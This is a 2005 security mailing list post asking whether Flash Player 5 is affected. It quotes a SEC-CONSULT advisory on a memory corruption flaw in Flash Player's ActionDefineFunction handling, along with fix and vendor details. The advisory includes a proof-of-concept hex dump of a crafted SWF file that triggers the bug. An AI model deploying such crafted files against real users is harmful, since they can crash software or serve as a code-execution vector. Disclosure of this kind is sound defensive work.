bugtraq - Is Flash Player 5 not vulnerable or not supported?... Macromedia Flash Player ActionDefineFunction Memory Corruption

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Message-ID: <93bd85290511071205y287bd929mbaf219a2de776d0d@mail.gmail.com>
Date: Mon, 7 Nov 2005 14:05:13 -0600
From: Ken S <ken.securitylist@...il.com>
To: Full Disclosure <full-disclosure@...ts.grok.org.uk>, 
	bugtraq@...urityfocus.com
Subject: Is Flash Player 5 not vulnerable or not
	supported?... Macromedia Flash Player ActionDefineFunction
	Memory Corruption

I noticed that Flash Player 5 is not on the list of vulnerable software, but
is that becuase it truly isn't vulnerable? Or is it not on the list because
it is no longer supported?

Any input would be appreciated.

Thanks,

Ken

On 11/7/05, Bernhard Mueller <research@...-consult.com> wrote:
>
> SEC-CONSULT Security Advisory 20051107-1
>
> =======================================================================================
> title: Macromedia Flash Player ActionDefineFunction
> Memory Corruption
> program: Macromedia Flash Plugin
> vulnerable version: flash.ocx v7.0.19.0 and earlier
> libflashplayer.so before 7.0.25.0 <http://7.0.25.0>
> homepage: www.macromedia.com <http://www.macromedia.com>
> found: 2005-06-27
> by: Bernhard Mueller / SEC-CONSULT /
> www.sec-consult.com <http://www.sec-consult.com>
>
> =======================================================================================
>
> Vendor description:
> ---------------
>
> Macromedia Flash Player is the high performance, lightweight, highly
> expressive client runtime that delivers powerful and consistent user
> experiences across major operating systems, browsers, mobile phones and
> devices.
>
>
> Vulnerabilty:
> ---------------
>
> ActionScript is an ECMAScript-based programming language used for
> controlling Macromedia Flash movies and applications. In SWF files,
> Actionscript commands are represented by DoAction Tags embedded in
> frames. SEC Consult has found that parameters to ActionDefineFunction
> (ACTIONRECORD 0x9b) are not properly sanitized. Loading a specially
> crafted SWF leads to an improper memory access condition which can be
> used to crash flash player or may be exploited as a vector for code
> execution.
> This issue is similar to CAN-2005-2628 (as reported by eEye Digital
> Security on November 4, 2005) but affects a different function.
> Coincidentally, Macromedia has received our notification of this bug on
> the same day (June 27).
>
>
> Proof of Concept:
> ---------------
>
> A "malicious" flash movie dump:
>
> <swf>
>
> ----- [SetBackgroundColor] -----
> TagID: 9 (size: 3 (short tag)
> - dump ->:
> \x43\x02\xff\x00\x00
>
> ----- [DoAction] -----
> TagID: 12 (size: 60 (short tag)
> - dump ->:
> \x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00
> \x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43
> \x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45
> \x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00
>
> ----- [ShowFrame] -----
> TagID: 1 (size: 0 (short tag)
> - dump ->:
> \x40\x00
>
> ----- [End] -----
> TagID: 0 (size: 0 (short tag)
> - dump ->:
> \x00\x00
>
> </swf>
>
>
> Recommended Fix:
> ---------------
>
> The issue has been addressed in MPSB05-07. Upgrade to the newest version
> of Flash Player 7 or to Flash Player 8.
>
> Link:
>
> http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html.
>
>
> Vendor status:
> ---------------
> vendor notified: 2005-06
> fixed: 2005-09
>
>
>
> General remarks
> ---------------
> We would like to apologize in advance for potential nonconformities
> and/or known issues.
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> SEC Consult Unternehmensberatung GmbH
>
> Office Vienna
> Blindengasse 3
> A-1080 Wien
> Austria
>
> Tel.: +43 / 1 / 409 0307 - 570
> Fax.: +43 / 1 / 409 0307 - 590
> Mail: office at sec-consult dot com
> www.sec-consult.com <http://www.sec-consult.com>
>
> EOF Bernhard Mueller / @2005
> bmu at sec-consult dot com
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

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